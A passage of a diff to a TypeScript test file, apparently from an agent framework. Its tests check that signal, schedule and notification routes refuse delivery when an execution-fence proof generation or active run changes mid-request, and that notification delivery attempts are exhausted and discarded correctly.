+          ifActive: { behavior: 'deliver', attributes: { 'not a name': 'x' } },
+        },
       },
-    },
-  ])('settles a schedule whose $case cannot be rendered as a terminal discard', async ({
+      {
+        case: 'idle branch attributes',
+        overrides: {
+          ifIdle: { behavior: 'wake', attributes: { 'not a name': 'x' } },
+        },
+      },
+    ].flatMap((testCase) =>
+      ['returns', 'throws'].map((logger) => ({ ...testCase, logger })),
+    ),
+  )('settles a schedule whose $case cannot be rendered as a terminal discard when the logger $logger', async ({
     overrides,
+    logger,
   }) => {
     // #given — core's assertXmlName would throw on this name at render time,
     // and no later tick could ever render it either
     const { agent, calls } = mockAgent();
     const settle = vi.fn(async () => undefined);
     const { policy, inputs } = recordingPolicy();
-    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      if (logger === 'throws') throw new Error('logger failed');
+    });
 
     try {
       // #when
@@ -3947,7 +4098,7 @@ describe('createThreadSignalRoutes — signal content policy', () => {
   it('keeps a summary storage failure inside its own dispatch group', async () => {
     // #given — a denied summary whose terminal discard write fails
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const records: NotificationRecord[] = [];
     for (const id of ['sum-a', 'sum-b']) {
       records.push(
@@ -4009,7 +4160,7 @@ describe('createThreadSignalRoutes — signal content policy', () => {
     // #given — the FIRST member's terminal discard write lands and the second
     // throws, so the group's catch sweeps records that are already settled
     const { agent } = mockAgent();
-    const storage = new InMemoryNotificationsStorage();
+    const storage = notificationStore();
     const records: NotificationRecord[] = [];
     for (const id of ['sum-a', 'sum-b']) {
       records.push(
@@ -4188,7 +4339,7 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => {
     expect(calls).toEqual([]);
   });
 
-  it('admits proof-only delivery to the nominated run and nothing else', async () => {
+  it('refuses legacy run-only proof delivery before all signal effects', async () => {
     // #given — a proof state already bound to 'active-run'.
     const fence = await fenceAt('migration-locked');
     await fence.transition({
@@ -4211,7 +4362,7 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => {
       post('/signal', { contents: 'hi' }),
       scopeWith(undefined, fence),
     );
-    expect(admitted?.status).toBe(200);
+    expect(admitted?.status).toBe(503);
 
     // #and — a thread whose active run is NOT the proof run does not.
     (
@@ -4260,3 +4411,1562 @@ describe('createThreadSignalRoutes and the deployment execution fence', () => {
     });
   });
 });
+
+describe('FS8 D3 proof activation signal boundaries', () => {
+  async function modern() {
+    const sqlite = openSqlite();
+    const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
+    const fence = new ExecutionFenceStore(db);
+    await fence.seed('migration-locked');
+    await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'proof',
+    });
+    sqlite.exec(
+      "UPDATE flowsafe_execution_fence SET proof_run_id = 'active-run', proof_table_prefix = 'proof_', proof_workflow_id = 'actual-agent-workflow', proof_start_token = 'generation'",
+    );
+    sqlite.exec(
+      'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)',
+    );
+    const source = {
+      version: 2,
+      startToken: 'generation',
+      attemptToken: 'attempt',
+      resumeCounts: [],
+    };
+    const write = () => {
+      sqlite.exec('DELETE FROM proof_mastra_workflow_snapshot');
+      sqlite
+        .prepare(
+          'INSERT INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)',
+        )
+        .run(
+          'actual-agent-workflow',
+          'active-run',
+          'acme_res',
+          JSON.stringify({
+            runId: 'active-run',
+            status: 'suspended',
+            requestContext: { 'flowsafe.runProvenance': source },
+          }),
+          'created',
+          'updated',
+        );
+    };
+    write();
+    const mock = mockAgent();
+    let active: string | undefined = 'active-run';
+    const runtime = { executionFence: fence };
+    Object.assign(mock.agent, {
+      getActiveThreadRunId: () => active,
+      proofExecutionFor: async (
+        expected: unknown,
+        _thread: string,
+        runId: string,
+      ) => {
+        if (expected !== runtime) throw new Error('runtime mismatch');
+        return fence.readCurrentRunExecution({
+          tablePrefix: 'proof_',
+          workflowId: 'actual-agent-workflow',
+          runId,
+        });
+      },
+    });
+    const scope = {
+      ...scopeWith(undefined, fence),
+      init: { runtime, executionFence: fence },
+    } as unknown as ThreadScope;
+    const replace = () => {
+      source.startToken = 'replacement';
+      write();
+    };
+    return {
+      ...mock,
+      sqlite,
+      fence,
+      scope,
+      replace,
+      setActive: (value: string | undefined) => {
+        active = value;
+      },
+    };
+  }
+
+  const routes = [
+    ['/signal/message', { contents: 'hello', ifIdle: 'persist' }],
+    ['/signal/queue', { contents: 'hello' }],
+    ['/signal', { contents: 'hello', ifIdle: 'persist' }],
+    [
+      '/signal/state',
+      { id: 'state', cacheKey: 'key', contents: 'hello', value: 'one' },
+    ],
+    [
+      '/signal/notification',
+      { source: 'test', kind: 'update', summary: 'hello' },
+    ],
+  ] as const;
+  it.each(
+    routes,
+  )('preserves the original generation at the final Core boundary %s route', async (path, body) => {
+    const h = await modern();
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      contentPolicy: async () => {
+        h.replace();
+        return { allowed: true };
+      },
+    });
+    const response = await route(post(path, body), h.scope);
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  function activeIdRace(h: Awaited<ReturnType<typeof modern>>) {
+    let armed = false;
+    const read = h.fence.readCurrentRunExecution.bind(h.fence);
+    const raced: Awaited<ReturnType<typeof read>>[] = [];
+    const proofRead = vi
+      .spyOn(h.fence, 'readCurrentRunExecution')
+      .mockImplementation(async (address) => {
+        const execution = await read(address);
+        if (armed) {
+          armed = false;
+          h.setActive('other');
+          raced.push(execution);
+        }
+        return execution;
+      });
+    return {
+      arm: () => {
+        armed = true;
+      },
+      raced,
+      proofRead,
+    };
+  }
+
+  const originalProof = {
+    tablePrefix: 'proof_',
+    workflowId: 'actual-agent-workflow',
+    runId: 'active-run',
+    startToken: 'generation',
+  };
+
+  it.each(
+    routes,
+  )('refuses an active ID changed during the final proof read at %s route', async (path, body) => {
+    const h = await modern();
+    const race = activeIdRace(h);
+    let policyCalls = 0;
+    const contentPolicy = vi.fn(async () => {
+      policyCalls++;
+      if (path === '/signal/notification' && policyCalls === 2) race.arm();
+      return { allowed: true as const };
+    });
+    const getMemory = h.agent.getMemory.bind(h.agent);
+    const memory = vi
+      .spyOn(h.agent, 'getMemory')
+      .mockImplementation(async () => {
+        const available = await getMemory();
+        race.arm();
+        return available;
+      });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      contentPolicy,
+    });
+    const response = await route(post(path, body), h.scope);
+    expect(h.calls).toEqual([]);
+    expect(race.raced).toEqual([originalProof]);
+    expect(race.proofRead).toHaveBeenCalledTimes(2);
+    expect(contentPolicy).toHaveBeenCalledTimes(
+      path === '/signal/notification' ? 2 : 1,
+    );
+    expect(memory).toHaveBeenCalledTimes(
+      path === '/signal/notification' ? 0 : 1,
+    );
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  it('refuses an active ID changed during the final proof read at active-only signal', async () => {
+    const h = await modern();
+    const race = activeIdRace(h);
+    const contentPolicy = vi.fn(async () => {
+      race.arm();
+      return { allowed: true as const };
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      contentPolicy,
+    });
+    const response = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(race.raced).toEqual([originalProof]);
+    expect(race.proofRead).toHaveBeenCalledTimes(2);
+    expect(contentPolicy).toHaveBeenCalledTimes(1);
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  it('refuses an active ID changed during the final proof read at schedule Core', async () => {
+    const h = await modern();
+    const race = activeIdRace(h);
+    const begin = vi.fn(async () => ({ state: 'ready' as const }));
+    const settle = vi.fn(async () => undefined);
+    const contentPolicy = vi.fn(async () => {
+      race.arm();
+      return { allowed: true as const };
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveScheduleTarget: async () =>
+        scheduleTarget({
+          resourceId: 'acme_res',
+          ifIdle: { behavior: 'persist' },
+        }),
+      resolveScheduleDispatchStore: () => ({ begin, settle }),
+      contentPolicy,
+    });
+    const response = await route(
+      post('/signal/schedule', {
+        scheduleId: 'schedule_1',
+        dispatchId: 'dispatch_1',
+        runId: 'run_1',
+      }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(begin).toHaveBeenCalledExactlyOnceWith('schedule_1', 'dispatch_1');
+    expect(settle).not.toHaveBeenCalled();
+    expect(race.raced).toEqual([originalProof]);
+    expect(race.proofRead).toHaveBeenCalledTimes(3);
+    expect(contentPolicy).toHaveBeenCalledTimes(1);
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  it('refuses an active ID changed during the final proof read at notification persistence', async () => {
+    const h = await modern();
+    const race = activeIdRace(h);
+    const storage = notificationStore();
+    const create = vi.spyOn(storage, 'createNotification');
+    const update = vi.spyOn(storage, 'updateNotification');
+    const record = await storage.createNotification({
+      threadId: 'acme_t1',
+      resourceId: 'acme_res',
+      agentId: 'agent',
+      source: 'test',
+      kind: 'update',
+      summary: 'hello',
+      priority: 'low',
+      deliverAt: new Date(0),
+      summaryAt: new Date(0),
+    });
+    const before = await storage.getNotification({
+      threadId: 'acme_t1',
+      id: record.id,
+    });
+    const getMemory = h.agent.getMemory.bind(h.agent);
+    const memory = vi
+      .spyOn(h.agent, 'getMemory')
+      .mockImplementation(async () => {
+        const available = await getMemory();
+        race.arm();
+        return available;
+      });
+    const contentPolicy = vi.fn(async () => ({ allowed: true as const }));
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+      contentPolicy,
+    });
+    const response = await route(
+      post('/signal/notifications/dispatch', {
+        agentId: 'agent',
+        resourceId: 'acme_res',
+        notificationIds: [record.id],
+      }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(
+      await storage.getNotification({ threadId: 'acme_t1', id: record.id }),
+    ).toEqual(before);
+    expect(create).toHaveBeenCalledTimes(1);
+    expect(update).not.toHaveBeenCalled();
+    expect(race.raced).toEqual([originalProof]);
+    expect(race.proofRead).toHaveBeenCalledTimes(2);
+    expect(memory).toHaveBeenCalledTimes(1);
+    expect(contentPolicy).toHaveBeenCalledTimes(1);
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  it('refuses an active ID changed during the final proof read at wake delivery', async () => {
+    const h = await modern();
+    const race = activeIdRace(h);
+    const getMemory = h.agent.getMemory.bind(h.agent);
+    const memory = vi
+      .spyOn(h.agent, 'getMemory')
+      .mockImplementation(async () => {
+        const available = await getMemory();
+        race.arm();
+        return available;
+      });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      serializeDispatch: async (_scope, operation) => operation(),
+    });
+    const response = await route(
+      post('/signal/message', { contents: 'hello', ifIdle: 'wake' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(race.raced).toEqual([originalProof]);
+    expect(race.proofRead).toHaveBeenCalledTimes(3);
+    expect(memory).toHaveBeenCalledTimes(1);
+    expect(response?.status).toBe(503);
+    expect(await response?.json()).toMatchObject({
+      reason: { code: 'EXECUTION_FENCED' },
+    });
+  });
+
+  it.each([
+    'serialized-selection',
+    'memory',
+    'active-id',
+  ] as const)('preserves wake generation through %s before delivering', async (boundary) => {
+    const h = await modern();
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      serializeDispatch: async (_scope, operation) => operation(),
+      resolveBlockingRun:
+        boundary === 'serialized-selection'
+          ? async () => {
+              h.replace();
+              return undefined;
+            }
+          : undefined,
+    });
+    if (boundary !== 'serialized-selection')
+      Object.assign(h.agent, {
+        getMemory: async () => {
+          if (boundary === 'memory') h.replace();
+          else h.setActive('other');
+          return {};
+        },
+      });
+    const response = await route(
+      post('/signal/message', { contents: 'hello', ifIdle: 'wake' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it('admits current proof delivery and refuses an idle thread at the all-route gate', async () => {
+    const h = await modern();
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+    });
+    const delivered = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(h.calls).toHaveLength(1);
+    expect(delivered?.status).toBe(200);
+    h.calls.length = 0;
+    h.setActive(undefined);
+    const refused = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(refused?.status).toBe(503);
+  });
+
+  it.each([
+    'brand',
+    'method',
+    'runtime-fence',
+  ] as const)('requires trusted wrapper %s at the all-route gate', async (missing) => {
+    const h = await modern();
+    if (missing === 'brand')
+      delete (h.agent as unknown as Record<symbol, unknown>)[
+        RUNTIME_DRIVEN_AGENT
+      ];
+    if (missing === 'method')
+      delete (h.agent as unknown as { proofExecutionFor?: unknown })
+        .proofExecutionFor;
+    if (missing === 'runtime-fence')
+      Object.assign(h.scope.init.runtime, { executionFence: 'none' });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+    });
+    const response = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it.each([
+    'begin',
+    'recovered-receipt',
+    'blocked-receipt',
+    'discard-receipt',
+    'core',
+  ] as const)('preserves schedule effects at the final %s boundary', async (boundary) => {
+    const h = await modern();
+    const begin = vi.fn(async () => ({ state: 'ready' as const }));
+    const settle = vi.fn(async () => undefined);
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveScheduleTarget: async () =>
+        scheduleTarget({
+          resourceId: 'acme_res',
+          ifIdle: { behavior: 'persist' },
+        }),
+      resolveScheduleDispatchStore: async () => {
+        if (boundary === 'begin') h.replace();
+        return { begin, settle };
+      },
+      resolveScheduleRunStatus:
+        boundary === 'recovered-receipt'
+          ? async () => {
+              h.replace();
+              return { runId: 'active-run', status: 'success' };
+            }
+          : undefined,
+      serializeDispatch: async (_scope, operation) => operation(),
+      resolveBlockingRun:
+        boundary === 'blocked-receipt'
+          ? async () => {
+              h.replace();
+              return {
+                runId: 'active-run',
+                principal: { kind: 'human', id: 'other', role: 'operator' },
+              };
+            }
+          : undefined,
+      contentPolicy:
+        boundary === 'discard-receipt' || boundary === 'core'
+          ? async () => {
+              h.replace();
+              return boundary === 'discard-receipt'
+                ? { allowed: false, outcome: 'denied' }
+                : { allowed: true };
+            }
+          : undefined,
+    });
+    const response = await route(
+      post('/signal/schedule', {
+        scheduleId: 'schedule_1',
+        dispatchId: 'dispatch_1',
+        runId: 'run_1',
+      }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(settle).not.toHaveBeenCalled();
+    expect(begin).toHaveBeenCalledTimes(boundary === 'begin' ? 0 : 1);
+    expect(response?.status).toBe(503);
+  });
+
+  it('checks notification storage creation after resolving its store', async () => {
+    const h = await modern();
+    const storage = new InMemoryNotificationsStorage();
+    const create = vi.spyOn(storage, 'createNotification');
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      canPersist: () => false,
+      resolveNotificationsStorage: async () => {
+        h.replace();
+        return storage;
+      },
+    });
+    const response = await route(
+      post('/signal/notification', {
+        source: 'test',
+        kind: 'update',
+        summary: 'hello',
+      }),
+      h.scope,
+    );
+    expect(create).not.toHaveBeenCalled();
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it.each([
+    'denial',
+    'failure',
+    'persist',
+    'wake',
+  ] as const)('does not mutate notification receipts after a %s proof refusal', async (boundary) => {
+    const h = await modern();
+    const storage = notificationStore();
+    const record = await storage.createNotification({
+      threadId: 'acme_t1',
+      resourceId: 'acme_res',
+      agentId: 'agent',
+      source: 'test',
+      kind: 'update',
+      summary: 'hello',
+      priority: boundary === 'persist' ? 'low' : 'urgent',
+      deliverAt: new Date(0),
+      summaryAt: boundary === 'persist' ? new Date(0) : undefined,
+    });
+    const before = await storage.getNotification({
+      threadId: 'acme_t1',
+      id: record.id,
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+      contentPolicy: async () => {
+        h.replace();
+        return boundary === 'denial'
+          ? { allowed: false, outcome: 'denied' }
+          : boundary === 'failure'
+            ? { allowed: false, outcome: 'error' }
+            : { allowed: true };
+      },
+    });
+    const response = await route(
+      post('/signal/notifications/dispatch', {
+        agentId: 'agent',
+        resourceId: 'acme_res',
+        notificationIds: [record.id],
+      }),
+      h.scope,
+    );
+    expect(
+      await storage.getNotification({ threadId: 'acme_t1', id: record.id }),
+    ).toEqual(before);
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+  it('preserves an exhausted receipt when proof changes during notification selection', async () => {
+    const h = await modern();
+    const storage = notificationStore();
+    const record = await storage.createNotification({
+      threadId: 'acme_t1',
+      resourceId: 'acme_res',
+      agentId: 'agent',
+      source: 'test',
+      kind: 'ready',
+      summary: 'ready',
+      deliverAt: new Date(0),
+    });
+    await storage.updateNotification({
+      threadId: 'acme_t1',
+      id: record.id,
+      deliveryAttempts: 10,
+      lastDeliveryError: 'prior refusal',
+    });
+    const before = await storage.getNotification({
+      threadId: 'acme_t1',
+      id: record.id,
+    });
+    const get = storage.getNotification.bind(storage);
+    const conditional = vi.spyOn(
+      storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
+    storage.getNotification = async (lookup) => {
+      const current = await get(lookup);
+      h.replace();
+      return current;
+    };
+    const contentPolicy = vi.fn(async () => ({ allowed: true as const }));
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+      contentPolicy,
+    });
+    const response = await routes(
+      post('/signal/notifications/dispatch', {
+        agentId: 'agent',
+        resourceId: 'acme_res',
+        notificationIds: [record.id],
+      }),
+      h.scope,
+    );
+    expect(response?.status).toBe(503);
+    expect(conditional).not.toHaveBeenCalled();
+    expect(contentPolicy).not.toHaveBeenCalled();
+    expect(h.calls).toEqual([]);
+    expect(await get({ threadId: 'acme_t1', id: record.id })).toEqual(before);
+  });
+
+  it('refuses a foreign initial proof generation before content-policy effects', async () => {
+    const h = await modern();
+    h.replace();
+    const contentPolicy = vi.fn(async () => ({ allowed: true as const }));
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      contentPolicy,
+    });
+    const response = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(contentPolicy).not.toHaveBeenCalled();
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it('refuses a serialized wake replacement before resolving memory', async () => {
+    const h = await modern();
+    const memory = vi.spyOn(h.agent, 'getMemory');
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      serializeDispatch: async (_scope, operation) => operation(),
+      resolveBlockingRun: async () => {
+        h.replace();
+        return undefined;
+      },
+    });
+    const response = await route(
+      post('/signal', { contents: 'hello', ifIdle: 'wake' }),
+      h.scope,
+    );
+    expect(memory).not.toHaveBeenCalled();
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it('checks the active-only signal Core boundary after content inspection', async () => {
+    const h = await modern();
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      contentPolicy: async () => {
+        h.replace();
+        return { allowed: true };
+      },
+    });
+    const response = await route(
+      post('/signal', { contents: 'hello' }),
+      h.scope,
+    );
+    expect(h.calls).toEqual([]);
+    expect(response?.status).toBe(503);
+  });
+
+  it('checks a retained completed schedule receipt after its store await', async () => {
+    const h = await modern();
+    let second = false;
+    const settle = vi.fn(async () => {
+      if (!second) throw new Error('receipt transport failed');
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveScheduleTarget: async () =>
+        scheduleTarget({
+          resourceId: 'acme_res',
+          ifIdle: { behavior: 'persist' },
+        }),
+      resolveScheduleDispatchStore: async () => {
+        if (second) h.replace();
+        return { begin: async () => ({ state: 'ready' as const }), settle };
+      },
+    });
+    const body = {
+      scheduleId: 'schedule_1',
+      dispatchId: 'dispatch_1',
+      runId: 'run_1',
+    };
+    const first = await route(post('/signal/schedule', body), h.scope);
+    expect(h.calls).toHaveLength(1);
+    expect(first?.status).toBe(502);
+    second = true;
+    const response = await route(post('/signal/schedule', body), h.scope);
+    expect(h.calls).toHaveLength(1);
+    expect(settle).toHaveBeenCalledTimes(1);
+    expect(response?.status).toBe(503);
+  });
+
+  it('preserves the completed Core effect but refuses a changed final schedule receipt', async () => {
+    const h = await modern();
+    const send = h.agent.sendSignal.bind(h.agent);
+    Object.assign(h.agent, {
+      sendSignal: (...args: Parameters<Agent['sendSignal']>) => {
+        const result = send(...args);
+        h.replace();
+        return result;
+      },
+    });
+    const settle = vi.fn(async () => undefined);
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveScheduleTarget: async () =>
+        scheduleTarget({
+          resourceId: 'acme_res',
+          ifIdle: { behavior: 'persist' },
+        }),
+      resolveScheduleDispatchStore: () => ({
+        begin: async () => ({ state: 'ready' as const }),
+        settle,
+      }),
+    });
+    const response = await route(
+      post('/signal/schedule', {
+        scheduleId: 'schedule_1',
+        dispatchId: 'dispatch_1',
+        runId: 'run_1',
+      }),
+      h.scope,
+    );
+    expect(h.calls).toHaveLength(1);
+    expect(settle).not.toHaveBeenCalled();
+    expect(response?.status).toBe(503);
+  });
+
+  it.each([
+    'individual',
+    'summary',
+  ] as const)('does not convert a final %s notification delivery receipt refusal into failure bookkeeping', async (mode) => {
+    const h = await modern();
+    const storage = notificationStore();
+    const record = await storage.createNotification({
+      threadId: 'acme_t1',
+      resourceId: 'acme_res',
+      agentId: 'agent',
+      source: 'test',
+      kind: 'update',
+      summary: 'hello',
+      priority: mode === 'summary' ? 'low' : 'urgent',
+      summaryAt: mode === 'summary' ? new Date(0) : undefined,
+      deliverAt: new Date(0),
+    });
+    const before = await storage.getNotification({
+      threadId: 'acme_t1',
+      id: record.id,
+    });
+    const send = h.agent.sendSignal.bind(h.agent);
+    Object.assign(h.agent, {
+      sendSignal: (...args: Parameters<Agent['sendSignal']>) => {
+        const result = send(...args);
+        h.replace();
+        return result;
+      },
+    });
+    const route = createThreadSignalRoutes({
+      resolveAgent: () => h.agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+    });
+    const response = await route(
+      post('/signal/notifications/dispatch', {
+        agentId: 'agent',
+        resourceId: 'acme_res',
+        notificationIds: [record.id],
+      }),
+      h.scope,
+    );
+    expect(
+      await storage.getNotification({ threadId: 'acme_t1', id: record.id }),
+    ).toEqual(before);
+    expect(h.calls).toHaveLength(1);
+    expect(response?.status).toBe(503);
+  });
+});
+
+describe('notification delivery failure receipts', () => {
+  const dispatchNow = '2026-07-20T12:00:00.000Z';
+  const input = {
+    threadId: 'acme_t1',
+    resourceId: 'acme_res',
+    agentId: 'agent',
+    source: 'test',
+    kind: 'ready',
+    summary: 'ready',
+    priority: 'urgent' as const,
+    deliverAt: new Date(0),
+  };
+  function fixture(
+    overrides: Partial<Parameters<typeof createThreadSignalRoutes>[0]> = {},
+  ) {
+    const storage = notificationStore();
+    const { agent, calls } = mockAgent();
+    const contentPolicy = vi.fn((_input: SignalContentPolicyInput) => ({
+      allowed: false as const,
+      outcome: 'error' as const,
+    }));
+    const consultRunCap = vi.fn(async () => true);
+    const startIdleRun = vi.fn(async ({ runId }: { runId: string }) => ({
+      runId,
+    }));
+    const routes = createThreadSignalRoutes({
+      resolveAgent: () => agent,
+      resolveResourceId: () => 'acme_res',
+      resolveNotificationsStorage: () => storage,
+      contentPolicy,
+      consultRunCap,
+      startIdleRun,
+      ...overrides,
+    });
+    const dispatch = (ids: string[], body: Record<string, unknown> = {}) =>
+      routes(
+        post('/signal/notifications/dispatch', {
+          notificationIds: ids,
+          agentId: 'agent',
+          resourceId: 'acme_res',
+          now: dispatchNow,
+          ...body,
+        }),
+        scopeWith(undefined),
+      );
+    return {
+      storage,
+      agent,
+      calls,
+      contentPolicy,
+      consultRunCap,
+      startIdleRun,
+      dispatch,
+    };
+  }
+
+  it.each([
+    0,
+    -1,
+    1.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('rejects maximum attempts %s before resolving dependencies', (maxDeliveryAttempts) => {
+    const resolveAgent = vi.fn();
+    const resolveNotificationsStorage = vi.fn();
+    expect(() =>
+      createThreadSignalRoutes({
+        resolveAgent,
+        resolveNotificationsStorage,
+        maxDeliveryAttempts,
+      }),
+    ).toThrow(RangeError);
+    expect(resolveAgent).not.toHaveBeenCalled();
+    expect(resolveNotificationsStorage).not.toHaveBeenCalled();
+  });
+
+  it('rejects Core-only dispatch storage before notification reads or effects', async () => {
+    const storage = new InMemoryNotificationsStorage();
+    const get = vi.spyOn(storage, 'getNotification');
+    const update = vi.spyOn(storage, 'updateNotification');
+    const h = fixture({ resolveNotificationsStorage: () => storage });
+    const log = vi.spyOn(console, 'error').mockImplementation(() => undefined);
+    try {
+      expect((await h.dispatch(['missing']))?.status).toBe(502);
+      expect(get).not.toHaveBeenCalled();
+      expect(update).not.toHaveBeenCalled();
+      expect(h.contentPolicy).not.toHaveBeenCalled();
+      expect(h.consultRunCap).not.toHaveBeenCalled();
+      expect(h.startIdleRun).not.toHaveBeenCalled();
+      expect(h.calls).toEqual([]);
+      expect((await h.dispatch([]))?.status).toBe(400);
+      expect(
+        (await h.dispatch(['missing'], { resourceId: 'wrong' }))?.status,
+      ).toBe(404);
+    } finally {
+      log.mockRestore();
+    }
+  });
+
+  it('retains the default tenth failure receipt and exits the due set', async () => {
+    const h = fixture();
+    const record = await h.storage.createNotification(input);
+    let now = new Date(dispatchNow);
+    for (let attempt = 1; attempt <= 10; attempt++) {
+      const response = await h.dispatch([record.id], {
+        now: now.toISOString(),
+        maxDeliveryAttempts: 999,
+      });
+      expect(await response?.json()).toEqual(
+        attempt < 10
+          ? { delivered: 0, failed: 1 }
+          : { delivered: 0, failed: 0, discarded: 1 },
+      );
+      const current = await h.storage.getNotification({
+        threadId: input.threadId,
+        id: record.id,
+      });
+      expect(current).toMatchObject({
+        deliveryAttempts: attempt,
+        lastDeliveryError: 'signal content policy failed',
+        lastDeliveryAttemptAt: now,
+      });
+      if (attempt < 10) {
+        if (!current?.deliverAt) throw new Error('retry cursor missing');
+        now = current.deliverAt;
+      }
+    }
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: record.id,
+      }),
+    ).toMatchObject({
+      status: 'discarded',
+      deliveryReason: 'delivery-attempts-exhausted',
+      deliverAt: undefined,
+      summaryAt: undefined,
+      discardedAt: expect.any(Date),
+    });
+    expect(
+      await h.storage.listDueNotifications({ now: new Date('2099-01-01') }),
+    ).toEqual([]);
+    expect(h.contentPolicy).toHaveBeenCalledTimes(10);
+  });
+
+  it.each([
+    10,
+    Number.MAX_SAFE_INTEGER,
+  ])('discards an already exhausted count of %s without target effects', async (deliveryAttempts) => {
+    const h = fixture();
+    const record = await h.storage.createNotification({
+      ...input,
+      summaryAt: new Date(0),
+    });
+    await h.storage.updateNotification({
+      threadId: input.threadId,
+      id: record.id,
+      deliveryAttempts,
+      lastDeliveryError: 'original refusal',
+      lastDeliveryAttemptAt: new Date(123),
+    });
+    expect(await (await h.dispatch([record.id]))?.json()).toEqual({
+      delivered: 0,
+      failed: 0,
+      discarded: 1,
+    });
+    expect(
+      await h.storage.getNotification({
+        threadId: input.threadId,
+        id: record.id,
+      }),
+    ).toMatchObject({
+      status: 'discarded',
+      deliveryAttempts,
+      lastDeliveryError: 'original refusal',
+      lastDeliveryAttemptAt: new Date(123),
+      deliverAt: undefined,
+      summaryAt: undefined,
+    });
+    expect(h.contentPolicy).not.toHaveBeenCalled();
+    expect(h.consultRunCap).not.toHaveBeenCalled();
+    expect(h.startIdleRun).not.toHaveBeenCalled();
+    expect(h.calls).toEqual([]);
+  });
+
+  it('finishes the initial binding scan before terminalizing exhausted rows', async () => {
+    const h = fixture({ maxDeliveryAttempts: 1 });
+    const exhausted = await h.storage.createNotification(input);
+    await h.storage.updateNotification({
+      threadId: input.threadId,
+      id: exhausted.id,
+      deliveryAttempts: 1,
+    });
+    const wrong = await h.storage.createNotification({
+      ...input,
+      resourceId: 'other',
+    });
+    const conditional = vi.spyOn(
+      h.storage,
+      'updateNotificationDeliveryIfUnchanged',
+    );
